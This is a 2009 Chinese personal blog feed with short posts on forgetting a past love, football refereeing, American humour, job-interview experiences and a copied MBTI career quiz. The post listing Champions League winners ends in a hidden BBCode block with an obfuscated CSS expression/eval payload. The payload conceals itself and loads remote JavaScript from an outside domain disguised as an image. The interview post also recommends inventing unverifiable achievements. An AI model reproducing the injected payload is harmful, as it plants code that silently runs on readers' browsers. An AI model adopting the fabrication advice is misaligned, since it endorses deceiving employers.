+u因扎林

美贸易代表口误克林顿为总统称会在网上火一把

317332630@qq.com(+u因扎林) — Tue, 17 Nov 2009 04:48:02 GMT

这个美国佬怎么会这么幽默呢，呵呵呵，笑死我了。。。太好笑了。。。

忘记是更为深刻的记忆

317332630@qq.com(+u因扎林) — Thu, 22 Oct 2009 10:32:42 GMT

时间不会停留,时间会冲淡你的记忆;时间会不断更新你的记忆
不要刻意的去忘记与遗忘。
那些念念不忘的事情就在我们念念不忘之中一一消失在在时间的某个角落。
时间是最好的良药，随着时间的推移，一切都不再如最初那么刻骨铭心，调整好心态，生命短暂，青春有限，你不会有太多的时间去等待去追忆去痛苦，平常心面对一切，你将会有更多的精力面对未来
忘记是更为深刻的记忆。所以，不要刻意的去忘记，每个人都有自己的路程，路程中会出现各种各样的过客，每段感情每段经历每个人都是生命留下的印记，不论回忆是美好的还是痛苦的，都是已经发生的，学会感谢生命中每个曾经相遇或离别的人。

学会遗忘，并不是很轻松就做到的，因为许多忘不掉的悲哀、耻辱是刻骨铭心的。那么，就需要我们用一颗平常心去对待问题。既然发生了，就注定无法挽回。当你在为错过太阳而流泪时，你也将错过群星。
当你失落、悲伤的时候，最好学会遗忘。不要在乎脚下的路，前面的风光更迷人。
不论是多么伤的过去我觉得最好别刻意的去忘，刻意去忘记，会记的更深，让一切都趋于平淡，该做什么做什么，别让自己常常独处苦思，随着时间的推移，就会慢慢的忘记~
因为时间是个小偷，它会不间断的偷走你的记忆，并且包括你心里的所想
倘若想忘记一个人,也许这个人是爱过的人,或者你发生了不愉快的事,反正是你想要的东西或事,对于这些最好的办法是学习,工作,用心投入,加快生活节奏,这样你就没精力和时间去想那些不该想的了

常常,我们会失去很多自己不愿失去的东西.不得不面对一次次的失去.一次次的心痛.常常,当我们失去的时候.总会觉得整个世界都跟着毁灭,整个人生都因为失去而不再有意义.事实上，我们谁也不会因为失去了谁而活不下去，一生中，并不是所有的梦都能实现，不是所有的话都来得及说，一定有些什么是我们无能为力的，也一定有些什么是我们在落叶之后必须放弃的，所以，很多时候，我们必须学会放弃，即便有万般不得已,万般无奈,即便放弃会让你痛不欲生，也不得不放弃那些你永远追逐不到的东西，放弃那些原本就不属于你的东西，放弃那些你喜欢但已经属于别人的东西，因为想改变已经没有办法改变的结局只会让我们再一次心痛，再一次受伤。然后越陷越深。
如果他/她已经不再爱你，如果一切已经无法挽留，那么何妨让自己放手，就当放开他/她也放开你自己。也许有一天，你才会发现当初离开他是一个多么明智的选择，也只有离开他你才会找到原来丢失的那些快乐，才能做回当初的自己，没有什么是不能忘记的，时间会淡化一切。也没有什么人是值得你痛苦流泪的，因为，真正爱你的人他不会让你伤心。放弃那些不懂的珍惜你的人吧？这样，好让别人有机会爱你，也让你有机会爱别人。
遗忘，会很痛苦，但是，只要你够坚持，只要你够爱自己，有一天，回过头来想想，你会明白：这个世上，你以为不能忘记的并非不能忘记，你以为不能失去的也并非不能失去？
说彻底去忘记过去是在骗自己，也在骗别人，只要有一点点可以联系到过去的事的东西，你就不可能忘记过去的。不要逃，后悔也没有用..你说是吗？

有一句话不是这么说吗？你可能在1秒钟的时间遇到一个人，用1天的时间爱上一个人，却要用一生的时间忘记一个人..这就是爱情
如果越想着遗忘.忘记，就伤害的越深，

不要过多在意，

我也是这样的，

其实当发现自己受伤的时候，别去遮掩它

等血流到不再留的时候

等痛到不再痛的时候，

你就真的忘记了，
为什么每个人都要想忘记？
是因为受了伤，还是因为曾经幸福过？
所以怕想念起他<她>。
人都要自己学着长大，忘记不了就不要忘记！
他<她>曾经给过你幸福这就够了...
曾经最美丽的过去，你是不是真的能够忘记？也许不是吧?
你也许并不是想忘记，只是心好痛，
想把这感情放下，不要再等待。
可是自己却做不到，自己却还在期待着他的回头。
因为，现在你只相信他能给你幸福！
然而，也只有他才会让你不顾一切的为他<她>做任何事。
所以忘记不了就算了，把他<她>当成美丽的过去。
一个美丽的句号！
一个让你幸福过的过客！
不用淡忘，有时忘记一个人比不爱还要痛..
因为人都是会受伤的...
茫茫人海中，能爱的人、值得你爱的人很多，
只要把握机遇，留心发现身边的信息，相信你会很快收获爱情的

如果，你还爱他，怎么都忘不了。
如果，你不爱他了，自然就会忘了。
想忘记一个人，也许并不是那么的简单。
想忘记一个人，你不要刻意的去忘记他。
如果你刻意的想要忘记，那样也许并不会真的做得到，对么？
假如，你想忘记一个人，他也许伤害了你，也许还有别的原因。
你要找到使你伤心，或者你想要忘记的原因，
如果你真的想要忘记一个人，要学会放弃一些东西，
让你的心放开，而不是经常的去想，
也许，你偶尔会想起来，但这也是不可避免的，对么？
时间会让你慢慢淡忘的。
如果你真的很爱他，就要用一生去忘记。
如果你不想忘记，请把爱深深藏在你的心底吧
要忘记一个人那需要时间的慢慢冲淡感情
或者重新找个值得你爱的人去爱就会忘记以前的噻
时间和距离可以冲淡一些你想忘记的。改变过去的生活节奏和方式，增加新的元素，可以到另一个城市工作，出去旅游，和朋友多聊天，逛逛街，买自己喜欢的衣服，吃自己爱吃的食物，让你的生活充实些，再结交一些新的朋友，新的异性朋友，重新找到一个值得你爱的人，开始一段新的感情。
那么你就一定能忘记对方哦
用一段新恋情来忘掉曾经的爱带来的伤痛是最好的解决办法。”这句话说得很对，但是重新去爱上另一个人又岂是那么容易的一件事。在还没有爱上其他人之前，你需要做的就是尽量减少爱情带给你的伤痛。如，把对方看淡，让对方不再成为你的内心最重要的，不要让对方左右的悲喜，某一天，你能够淡然处之，也许就可以了。
1.不要刻意遗忘，如果刻意只会让自己记得更牢。
2.尽量使自己忙碌起来，让自己的生活变得充实，让自己无暇想念。
3.尽量扩大自己的交友圈，与尽量多的人接触，说不定里面就有你的真命天子。开始缘分中的真爱吧
4.在不得不与对方接触的时候，尽量以一颗平常心，就当对方是个普通的朋友。
5.尽量发现自己的爱好，做一些自己喜欢的事情，以起到移情的作用。
6每天给自己一个灿烂的笑容，相信未来的某一天，你会发现再想起对方的时候，你的心不再疼痛，原来不知不觉间，对方已变成陌生人
最后真的决定忘记对方吗？不后悔吗？那么勇敢去吧学会遗忘
一个人总要走陌生的路，看陌生的风景，听陌生的歌，然后在某个不经意的瞬间，你会发现，原本费尽心机
想要忘记的事情真的就这么忘记了。
忘记是更为深刻的记忆。所以，不要刻意的去忘记，每个人都有自己的路程，路程中会出现各种各样的过客，每段感情每段经历每个人都是生命留下的印记，不论回忆是美好的还是痛苦的，都是已经发生的，学会感谢生命中每个曾经相遇或离别的人。

忘却也是保待心理平衡的好办法。忘记烦恼、忘记忧愁、忘记苦涩、忘记失意、忘记昨天、忘记自己、忘记他人对你的伤害、忘记朋友对你的背叛、忘记脆弱的情怀。忘记你曾有的羞悔和耻辱…这样你便可乐观豁达起来。人生的道路是曲折坎坷的，对于荣辱、富贵、贫穷、诽谤、嫉妒、酸楚等社会附加物，一笑置之，那么你就得到解脱了，心理就平衡了。忘却有害无益的人和事吧，保持心理的平衡。

人生短暂，万事具应想得开，随时随地保持心理平衡，守平常心，处变不惊，笑口常开，潇洒走一回，自会快快乐乐地过一生！

来积极地暗示自己，提高自信往往可以激发潜力。

烦恼是别人带来的开心快乐是自己找的
快乐也是一天痛苦也是一天
何不快快乐乐开开心心过完每一天
天天开开心心,无优无虑是人生的意义?和惊天地一样,那就要事事想得开,把挫折乐观的对待,把困难看得简单.遇风躲起来,遇雨把伞带.让自己适应气候的变化,让心情随时调整,只要坚信快乐是你的,开心就会与你相伴.人生的路不是这样简单,但是你可以简单的面对,面对只要开心的现在.小的插曲,还要欣赏,听过品过,就要收起来,回味它的甜,丢掉无奈.相信开心快乐永远在你身边陪伴,愿你永远笑开怀

学会快乐
懂得快乐、善于快乐实在是一种智慧、一种气度、一种气魄
每个人如果懂得以下八条秘诀，自然有个快乐的人生。
1．没有人是完美的。必须承认自己的弱点，并乐意接受别人的建议、帮助和忠告，只要你勇于承认自己需要帮助，成功必然在望。
2．从挫折中吸取教训。在面对失败或挫折时所抱的态度应该是从中吸取经验，继续努力。
3．生活必须诚实和富于正义感，这样才能吸引好朋友来帮助你。著名心理学家巴达斯曾经被问及：“哪些是人类今天最基本及最深切的心理需要？”她回答说：“人类需要爱。”但这不限于男与女之间的爱，从心理学家的观点看来，好人永远是快乐的。
4．能屈能伸。无论在顺境或逆境之中，我们的生活态度都应该是处之泰然。有了错误，立即改正。
5．热心帮助别人。如果要真正快乐，自己受人尊敬，则应帮助别人，与别人关系融洽。
6．要人待你好，你必须先对他人好。当你受到不平等待遇时，你必须宽恕和同情他人。
7．坚守信念。当你做任何事时，必须坚持个人的信念。
8．快乐永存心间。只要时常保持心境开朗，快乐是很难舍弃你的

此文章内容审核未通过

317332630@qq.com(+u因扎林) — Fri, 31 Jul 2009 03:50:29 GMT

由于此文章内容带有敏感词汇，审核未通过，内容已被删除。

是小白绝杀了切尔西吗？

317332630@qq.com(+u因扎林) — Wed, 06 May 2009 21:51:19 GMT

如果你认为是小白绝杀了切尔西，那你就错了！！！！
赫宁（本场当值主裁），皮克在禁区内的手球，阿内尔卡禁区内被放倒……你通通选择了失明，而你是巴萨球迷吗？不是！！
为了阻止英超在冠军联赛的一家独大，赫宁只是普拉蒂尼的工具而已！！无出左右，28号的另一个“赫宁”肯定也将粉墨登场！等着瞧吧。。。。
所以我承认太天真了，把赌注都压在切尔西身上！！

我也承认，如果英超的一家独大势必影响冠军联赛的长期发展，但是为了英超不成为乒乓球队里的中国队，普拉蒂尼，你的手段太卑劣！！不过也许国际乒联主席莎拉拉可以向你取经！！

欧冠夺冠定律

317332630@qq.com(+u因扎林) — Tue, 14 Apr 2009 20:59:47 GMT

欧冠夺冠定律
03年尤文淘汰皇马米兰淘汰尤文米兰夺冠
04年摩纳哥淘汰皇马波尔图淘汰摩纳哥波尔图夺冠
05年尤文淘汰皇马利物浦淘汰尤文利物浦夺冠
06年阿森纳淘汰皇马巴萨淘汰阿森纳巴萨夺冠
07年拜仁淘汰皇马米兰淘汰拜仁米兰夺冠
08年罗马淘汰皇马曼联淘汰罗马曼联夺冠
09年利物浦淘汰皇马切尔西淘汰利物浦切尔西夺冠 ?[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]

变种“幽默”

317332630@qq.com(+u因扎林) — Tue, 14 Apr 2009 05:03:33 GMT

都说美国人幽默，无需证明，看看美国电影就知道了。为什么美国人幽默？因为自信！又为什么自信？因为强大！又为什么强大？因为有健全的民主法制体制，而又为什么有健全的民主法制？因为有全民人人生而平等的民主意识与思维。
但是，幽默的人就一定有强烈的民主意识吗？至少我所见到的一些所谓幽默的人就严重缺乏！
有的人总是居高临下的口气与人说话，总是摆出一副高高在上的姿态展现自己的幽默或者说是搞笑，以此来表明自己有多自信，生怕别人不知道他的优势一样，殊不知这样优越感的座奇是那样的虚无缥缈、摇摇欲坠！很简单，他的幽默那是假幽默、假诙谐。
这样的人在受儒教思想影响严重的中国恐怕是大有人在！于是出自西方的幽默（humor）一词经过“等级观念”、“关系第一”的强烈辐射，又怎么可能不变种？！

朱唇玉“面”

317332630@qq.com(+u因扎林) — Sun, 29 Mar 2009 12:22:40 GMT

什么经济危机，就业形势的废话休提，说说奋战在找工作第一线的同志们的一些想法我还是保留自己的意见：比如，有人总认为把英语六级过了、拿到多少证找工作就不是大问题，我当然不否认，但是六级那么容易过吗？我考了三次了，一次比一次差，在现阶段中国悲哀教育的情形下，渴望像我这么懒的人能在大学期间学会很多实际的东西是不大可能。对我来说，我甚至认为面试比你的经历更重要，那些技术牛人，天才级的人物当然就除外了。因为每次我面试完都会有很多体会，面试，或者说是找工作也是一次学习的过程！在一次次的失败之后，才算是有了比较完善的朱“唇”玉“面”吧。

三月初工行二面的失败真是让我有点痛心疾首，想了一晚上总算想明白应该是我的自我介绍不够光彩夺目吧，痛定思痛第二天就踏上回赣州电信面试的火车，失败的经历就没有提供的价值，这次跟电信算是签约了就说说吧，同学问我要具体怎么忽悠面试官，反正就是吹吧！

对中国电信的黑暗早有耳闻，我跟一位女生一起进去面试的时候，三个面试官一个在接电话、一个在玩手机游戏，那位女生自我介绍的声音几乎是被那个接电话的浑浊中年男声掩盖，轮到我面试的时候我才不管呢！我就大声把我早就准备好的自我介绍朗读出来！（为了不引起某些人的反感和不舒服，就用****隐去一些夸大部分）

尊敬的面试官、这位同学，大家好，我是来自南昌航空大学2009届毕业生zyl，作为一个土生土长的赣州人，深刻的感受着赣州这片土地的神奇，那雄伟壮丽的八境台、巍然屹立的翠微峰都让我魂牵梦萦，也正是风景秀丽的赣州孕育了为人诚恳踏实、聪明睿智的我，而我吃苦耐劳、艰苦朴素的作风也是在农村老家的历练。所以当我听说中国电信赣州分公司正在招聘应届生，我毫不犹豫、义无反顾地踏上了回家的火车，今天有机会跟各位讲讲我在学校的经历我感觉到无限的荣光，我在学校努力学习，刻苦奋斗，积极参加校内外活动，曾经担任****，成功组织过多次*****，也参与过我们老乡网站的建设。我个人最大的爱好就是足球，*********，我们球队历史性的进入了校振兴杯的***。当然了，这些微薄的成绩或者说结果都不是最重要的，最重要的是就像我在参加我们学校的**比赛和****一样，我拥有了那段去积极面对人生的过程，如果我有机会到我们赣州分公司继续我的积极和努力，我必将以保满的热情、满腔的热血，通过电信和网络这个平台和方式建设我们的家乡、服务我们的乡亲！谢谢。

这下几乎是把那两个面试官怔住了，正襟危坐就问我问题，第一问题是，你为什么选择来赣州电信？（靠，要不是有点关系为升职提供点可能我才不来呢！）我就正儿八经的回答：
首先，因为我是宁都的嘛，自然选择来赣州，其次中国电信做为一家国有大型企业，对我个人来说有相当的发展空间和发挥机遇；还有就是作为国家最大的网络运营商，应当承担更多相应的义务，而我也愿意承担这样的责任。所以今天我就坐在您的面前了。

接着是第二个问题，你怎么看薪酬低的问题？（你不知道，电信的底薪低得几乎令人窒息，各位也不要问了，我真不好意思回答）于是我也算是沉着冷静装模作样：
一分耕耘一分收获，如果你为这个公司创造了一万的价值，而老板只付给你一千的薪酬的事情不大可能发生的，所以只要努力，只要做的好，高薪是可以期待的。（我真是在痴人说梦话）
接着那玩手机游戏的就直接问我到现在都没找到工作？我就说我想回家乡工作，如前面我说的我想为家乡做贡献云云。
……接着就问了一些琐事，专业上的几乎就没问，（好像其他人都问了相当专业的问题）出来真TM 轻松。

从上学期到现在，参加的面试不少，总结几点：
1、最重要的就是吹！此一点是针对像我这种懒虫，奖学金都没拿过的，不过不要过头，我的看法是叫死无对证的吹，什么意思，就是说一些没有证据的奖，或是追溯不到、无法深究和考证的经历。不过，吹牛所需的脸不红、心不跳的心理素养又岂是天天躲在寝室玩游戏所能练就的？！(此一条只针对204，切勿对号入座、物伤其类)

2、自我介绍或者回答问题除了一些寒暄语之外，尽量用书面语，最好是文采奕奕的那种。我上次到江钨面试碰到一个强人，几乎就是辞藻学家，结果当然没例外，录用了。工行群殴的时候有一个财大的女生30秒的自我介绍就文采斐然，真是另偶侧目，加上人又漂亮，唉……（呵呵）结果又可想而知。

3、一定要站在企业的角度回答问题。最优秀的并一定是最合适的，把自己给甲方最匹配的特点展现出来才是关键，甲方能出你剥削得到多少才是资本家最看重的！

4、过往没有出众的成绩当然要表现出良好的态度。那次面试忘了，有位男生的自我介绍就这么简单：我没有前面几位同学那么有经验，但我一定通过自己的刻苦，积极的行动为***集团创造最大的价值。（这几乎是把前面几位的经验贬得一文不值）结果一个愣头青也上了。

5、不要直接肯定面试官对你贬低的问题。比如他问有没经验，如果你直接回答没有，那你肯定挂了。你可以稍加拐弯抹角：在企业实战的经验我确实没有，但你要说我在学校的经验可以说是一大把，我参加过什么什么系统的开发，什么什么也做过，总之千万不要说你没有！一方面表现了你积极的人生态度，另一方面让人家看到你的某些语言技巧，不会那么死板。

最后祝福在危机重重的时代弄潮儿们好运！

测试你适合什么职业（超级精准、科学）

317332630@qq.com(+u因扎林) — Sun, 22 Feb 2009 14:25:52 GMT

大四一直很迷茫，看到一篇文章对自己的艰难抉择有些指导意义，抄来给大家参考参考。

要求：每题考虑的时间不得超过10秒钟。
每7题为一组找出你选择最多的那个字母，按顺序进行排列，记录下来。

不要偷看哦。。。
1.你倾向从何处得到力量：
　　(E)别人。
　　(I)自己的想法。

　　2.当你参加一个社交聚会时，你会：
　　(E)在夜色很深时，一旦你开始投入，也许就是最晚离开的那一个。
　　(I)在夜晚刚开始的时候，我就疲倦了并且想回家。

　　3.下列哪一件事听起来比较吸引你？
　　(E)与情人到有很多人且社交活动频繁的地方。
　　(I)待在家中与情人做一些特别的事情，例如说观赏一部有趣的录影带并享用你最喜欢的外卖食物。

　　4.在约会中，你通常：
　　(E)整体来说很健谈。
　　(I)较安静并保留，直到你觉得舒服。

　　5.过去，你遇见你大部分的异性朋友是：
　　(E)在宴会中、夜总会、工作上、休闲活动中、会议上或当朋友介绍我给他们的朋友时。
　　(I)通过私人的方式，例如个人广告、录影约会，或是由亲密的朋友和家人介绍。

　　6.你倾向拥有：
　　(E)很多认识的人和很亲密的朋友。
　　(I)一些很亲密的朋友和一些认识的人。

　　7.过去，你的朋友和同事倾向对你说：
　　(E)你难道不可以安静一会儿吗？
　　(I)可以请你从你的世界中出来一下吗？
----------好了，记下是E还是I！

8.你倾向通过以下哪种方式收集信息：
　　(N)你对有可能发生之事的想像和期望。
　　(S)你对目前状况的实际认知。

　　9.你倾向相信：
　　(N)你的直觉。
　　(S)你直接的观察和现成的经验。

　　10.当你置身于一段关系中时，你倾向相信：
　　(N)永远有进步的空间。
　　(S)若它没有被破坏，不予修补。

　　11.当你对一个约会觉得放心时，你偏向谈论：
　　(N)未来，关于改进或发明事物和生活的种种可能性。例如，你也许会谈论一个新的科学发明，或一个更好的方法来表达你的感受。
　　(S)实际的、具体的、关于“此时此地”的事物。例如，你也许会谈论品酒的好方法，或你即将要参加的新奇旅程。

　　12.你是这种人：
　　(N)喜欢先纵观全局。
　　(S)喜欢先掌握细节。

　　13.你是这类型的人：
　　(N)与其活在现实中，不如活在想像里。
　　(S)与其活在想像里，不如活在现实中。

　　14.你通常：
　　(N)偏向于去想像一大堆关于即将来临的约会的事情。
　　(S)偏向于拘谨地想像即将来临的约会，只期待让它自然地发生。
----------记下是N还是S！

15.你倾向如此做决定：
　　(F)首先依你的心意，然后依你的逻辑。
　　(T)首先依你的逻辑，然后依你的心意。

　　16.你倾向比较能够察觉到：
　　(F)当人们需要情感上的支持时。
　　(T)当人们不合逻辑时。

　　17.当和某人分手时：
　　(F)你通常让自己的情绪深陷其中，很难抽身出来。
　　(T)虽然你觉得受伤，但一旦下定决心，你会直截了当地将过去恋人的影子甩开。

　　18.当与一个人交往时，你倾向于看重：
　　(F)情感上的相容性：表达爱意和对另一半的需求很敏感。
　　(T)智慧上的相容性：沟通重要的想法；客观地讨论和辩论事情。

　　19.当你不同意情人的想法时：
　　(F)你尽可能地避免伤害对方的感情；若是会对对方造成伤害的话，你就不会说。
　　(T)你通常毫无保留地说话，并且对情人直言不讳，因为对的就是对的。

　　20.认识你的人倾向形容你为：
　　(F)热情和敏感。
　　(T)逻辑和明确。

　　21.你把大部分和别人的相遇视为：
　　(F)友善及重要的。
　　(T)另有目的。
----------记下是F还是T？

22.若你有时间和金钱，你的朋友邀请你到国外度假，并且在前一天才通知，你会：
　　(J)必须先检查你的时间表。
　　(P)立刻收拾行装。

　　23.在第一次约会中：
　　(J)若你所约的人来迟了，你会很不高兴。
　　(P)一点儿都不在乎，因为你自己常常迟到。

　　24.你偏好：
　　(J)事先知道约会的行程：要去哪里、有谁参加、你会在那里多久、该如何打扮。
　　(P)让约会自然地发生，不做太多事先的计划。

　　25.你选择的生活充满着：
　　(J)日程表和组织。
　　(P)自然发生和弹性。

　　26.哪一项较常见：
　　(J)你准时出席而其他人都迟到。
　　(P)其他人都准时出席而你迟到。

　　27.你是这种喜欢……的人：
　　(J)下定决心并且做出最后肯定的结论。
　　(P)放宽你的选择面并且持续收集信息。

　　28.你是此类型的人：
　　(J)喜欢在一段时间里专心于一件事情直到完成。
　　(P)享受同时进行好几件事情。
----------是J还是P？

事业称心如意的秘密在于做你最想做的事。少数几个幸运儿早年便能发现这一秘密，但多数人都困在一种矛盾的心理苦役中，不知道自己能做什么、自己或别人认为我们该做什么、或自己认为自己想做什么。我们认为，只要你能细想想自己是什么样的人，其余一切也就水到渠成了。
传统的事业道路分析只看"三大项"：能力、兴趣和价值观。但这标准差远了！你的个性中也有一些方面需要引起注意。一般来说，个性越适合工作，对工作的满意度越高。
人各有各的个性，就象一个内在胎记终生不变。个性评估分类系统的依据是一个人个性的4个基本特征，我们称之为"层面"，因为它们可以看作是两种极端之间的连续体，如：

我们与世界怎样互动，能量释放到何处
（E）外向型-|-内向型（I）

我们留意到的信息种类
（S）感知型-|-直觉型（N）

我们的决策方式
（T）思考型-|-感觉型（F）

我们喜欢一种更有条理（做决定），还是更随意性的（获取信息）生活方式
（J）判断型-|-认知型（P）

外向型的人把注意力和精力放在身外的世界，主动与人交往，喜欢互动。与人为伴就精神抖擞，常认识很多人。
内向型的人专注于自我的内心世界，喜欢独处并陶然其中。他们总是先想后做，这意味着心理活动居多。他们不喜欢受人注目，一般比外向型的人更矜持。
个性的第二层面与我们平时注意的信息有关。

有一些人注重事实，其他人则注重愿望。
感知型的人注重自己看到、听到、触到、嗅到和尝到的具体感受。他们只相信可以测量、能够记录下来的东西，只注重真实可靠的事。他们也相信自己的个人经验。
直觉型的人更相信"第六感觉"（直觉）。他们善于理解字面以外的含义，对一切事情都要寻求一个内在意义。
他们总能预示事件的发生，通常不愿意维持事物的现状，总想不断来点新花样。
个性类型的第三层面涉及到我们做决定和结论的方式。
思考型的人喜欢符合逻辑的决策，善于客观地分析一切，并常引以为豪。
感觉型的人常因着自己的喜好和感觉决策。他们很能体贴人、常富有同情心，并因此自以为荣。
个性类型的第四层面所关注的是，一个人更愿意有条理、还是随意地生活。
判断型的人条理性很强。只要生活安排得有条不紊、事事井井有序，他们就快乐无比。凡事他们总要断个分明，喜欢决策。
认知型的人生活散漫随意，生活机动性强时最高兴。他们乐意尝试一切可能的事情。他们往往理解生活，而不是努力控制生活。
个性的每个层面都有两个彼此对立的极端，这样统共有八种个性偏好，每种用一个字母来表示。把这些字母组合起来，便代表16种个性。每一个人都可以在当中对号入座。

ISTJ：内向、感知、思考、判断型
这种人一丝不苟、认真负责，而且明智豁达，是坚定不移的社会维护者。他们讲求实际、非常务实，总是孜孜以求精确性和条理性，而且有极大的专注力。不论干什么，他们都能有条不紊、四平八稳地把它完成。
对这类人而言，满意的工作是技术性的工作，能生产一种实实在在的产品或有条理地提供一种周详服务。他们需要一种独立的工作环境，有充裕的时间让自己独立工作，并能运用自己卓越的专注力来完成工作。

ISFJ：内向、感知、感觉、判断型
这种人忠心耿耿、一心一意、富有同情心，喜欢助人为乐。由于这种人有很强的职业道德，一旦觉得自己的行动确有帮助，他们便会担起重担。
最令他们满意的工作是，需要细心观察和精确性要求极高的工作。他们需要通过不声不响地在背后工作以表达自己的感情投入，但个人贡献要能得到承认。

INFJ ：内向、直觉、感觉、判断型
这种人极富创意。他们感情强烈、原则性强且具有良好的个人品德，善于独立进行创造性思考。即使面对怀疑，他们对自己的观点仍坚信不疑。看问题常常更能入木三分。
对他们来说，称心如意的事业就是，能从事创新型的工作，主要是能帮助别人成长。他们喜欢生产或提供一种自己能感到自豪的产品或服务。工作必须符合个人的价值观。

INTJ：内向、直觉、思考、判断型
这类人是完美主义者。他们强烈要求自主、看重个人能力、对自己的创新思想坚定不移，并受其驱使去实现自己的目标。这种人逻辑性强，有判断力，才华横溢，对人对己要求严格。在所有类型的人中，这种人独立性最强，喜欢我行我素。面对反对意见，他们通常多疑、霸道、毫不退让。对权威本身，他们毫不在乎，但只要规章制度有利于他们的长远目标他们就能遵守。
最适合的工作是：能创造和开发新颖的解决方案来解决问题或改进现有系统；他们愿意与责任心强，在专业知识、智慧和能力方面能赢得自己敬佩的人合作；他们喜欢独立工作，但需要定期与少量智囊人物切磋交流。

ISTP：内向、感知、思考、认知型
这种人奉行实用主义，喜欢行动，不爱空谈。他们长于分析、敏于观察、好奇心强，只相信可靠确凿的事实。由于非常务实，他们能很好地利用一切可资利用的资源，而且很会瞧准时机。
对于ISTP这种人而言，事业满意就是，做尽可能有效利用资源的工作。他们愿意精通机械技能或使用工具来工作。工作必须有乐趣、有活力、独立性强，且常有机会走出工作室去户外。

ISFP：内向、感知、感觉、认知型
这种类型的人温柔、体贴、敏感，从不轻言非常个人化的理想及价值观。他们常通过行动，而非语言来表达炽烈的情感。这种人有耐心、能屈能伸、且十分随和、无意控制他人。他们从不妄加判断或寻求动机和意义。
适合的工作是，做非常符合自己内心价值观的工作。在做有益他人的工作时，希望注重细节。他们希望有独立工作的自由，但又不远离其他与自己合得来的人。他们不喜欢受繁文缛节或一些僵化程序的约束。

INFP：内向、直觉、感觉、认知型
INFP类型的人珍视内在和谐胜过一切。他们敏感、理想化、忠心耿耿，在个人价值观方面有强烈的荣誉感。如果能献身自己认为值得的事业，他们便情绪高涨。在日常事物中，他们通常很灵活、有包容心，但对内心忠诚的事业义无反顾。这类人很少表露强烈的情感，常显得镇静自若、寡言少语。不过，一旦相熟，他们也会变得十分热情。
对INFP类型的人而言，最好的工作是，做合乎个人价值观、能通过工作陈述自己远见的工作；工作环境需要有灵活的架构，在自己激情高昂时可以从事各种项目；能发挥个人的独创性。

INTP：内向、直觉、思考、认知型
这类人善于解决抽象问题。他们经纶满腹，时能闪现出创造的睿智火花。他们外表恬静，内心专注，总忙于分析问题。他们目光挑剔，独立性极高。
对于这类人，事业满意源自这样的工作：能酝酿新观念；专心负责某一创造性流程，而不是最终产品。在解决复杂问题时，能让他们跳出常规的框框，冒一定风险去寻求最佳解决方案。

ESTP：外向、感知、思考、认知型
这类人无忧无虑，属乐天派。他们活泼、随和、率性，喜欢安于现状，不愿从长计议。由于他们能够接受现实，一般心胸豁达、包容心强。这种人喜欢玩实实在在的东西，善于拆拆装装。
对这种人来说，事业满意度来自这种工作：能随意与许多人交流；工作中充满冒险和乐趣，能冒险和随时抓住新的机遇；工作中当自己觉得必要时希望自我组织，而不是听从别人的安排。

ESFP：外向、感知、感觉、认知型
ESFP这一类人生性爱玩、充满活力，用自己的陶醉来为别人增添乐趣。他们适应性强，平易随和，可以热情饱满地同时参加几项活动。他们不喜欢把自己的意志强加于人。
对于这类人来说，适合的工作是，能在实践中学习，利用常识搜集各种事实来寻找问题的解决方案；他们喜欢直接与顾客和客户打交道；能同时在几个项目或活动中周旋。尤其爱从事能发挥自己审美观的项目或活动。

ENFP：外向、直觉、感觉、认知型
ENFP这类人热情奔放，满脑子新观念。他们乐观、率性、充满自信和创造性，能深刻认识到哪些事可为。他们对灵感推崇备至，是天生的发明家。他们不墨守成规，善于闯新路子。ENFP这类人适合的工作是，在创造性灵感的推动下，与不同的人群合作从事各种项目；他们不喜欢从事需要自己亲自处理日常琐碎杂务的工作，喜欢按自己的工作节奏行事。

ENTP：外向、直觉、思考、认知型
这种人好激动、健谈、聪明、是个多面手。他们总是孜孜以求地提高自己的能力。这种人天生有创业心、爱钻研、机敏善变、适应能力强。
令这类人满意的工作是：有机会从事创造性解决问题的工作。工作有一定的逻辑顺序和公正的标准。希望通过工作能提高个人权力并常与权力人物交流。

ESTJ：外向、感知、思考、判断型
这种人办事能力强，喜欢出风头，办事风风火火。他们责任心强、诚心诚意、忠于职守。他们喜欢框架，能组织各种细节工作，能如期实现目标并力求高效。
ESTJ类型的人适合做理顺事实和政策以及人员组织工作，能够有效利用时间和资源以找出合乎逻辑的解决方案，在目标明确的工作中姝运用娴熟的技能。他们希望工作测评标准公正。

ESFJ：外向、感知、感觉、判断型
ESFJ类型的人喜欢通过直接合作以切实帮助别人。由于他们尤其注重人际关系，因而通常很受人欢迎，也喜欢迎合别人。他们的态度认真、遇事果断、通常表达意见坚决。
这类人最满意的事业是，整天与人交往，密切参与整个决策流程。工作的目标明确，有明确的业绩标准。他们希望能组织安排自己及周围人的工作，以确保一切进展得尽可能顺利。

ENFJ ：外向、直觉、感觉、判断型
这种人有爱心，对生活充满热情。他们往往对自己很挑剔。不过，由于他们自认为要为别人的感受负责，所以很少在公众场合发表批评意见。他们对行为的是非曲直明察秋毫，是社交高手。
这种人最适合的工作是，工作中能建立温磬的人际关系，能使自己置身于自己信赖、且富有创意的人群中工作。他们希望工作多姿多采，但又能有条不紊地干。

ENTJ：外向、直觉、思考、判断型
这种人是极为有力的领导人和决策者，能明察一切事物中的各种可能性，喜欢发号施令。他们是天才的思想家，做事深谋远虑、策划周全。这种人事事力求做好，生就一双锐眼，能够一针见血地发现问题并迅速找到改进方法。
最令ENTJ这类人满意的事业是，做领导、发号施令，完善企业的运作系统，使系统高效运行并如期达到目标。他们喜欢从事长远战略规划，寻求创造性的解决问题的方式。

原文摘自Do What You Are: Discover the Perfect Career for You
Through the Secrets of Personality
Type一文。作者1995年登记版权。Little Brown and Company公司（Boston,
MA 02108）出版。李正栓译。
作者Paul Tieger和Barbara Barron-Tieger是Communication Consultants

LLC的主要负责人员，十多年来一直运用个性类型理论培训专业人士。
对号入座

ISTJ：审计员、后勤经理、信息总监、预算分析员、工程师、技术作者、电脑编程员、证券经纪人、地质学者、医学研究者、会计、文字处理专业人士。

ISTP：证券分析员、银行职员、管理顾问、电子专业人士、技术培训人员、信息服务开发人员、软件开发商、海洋生物学者、后勤与供应经理、经济学者。

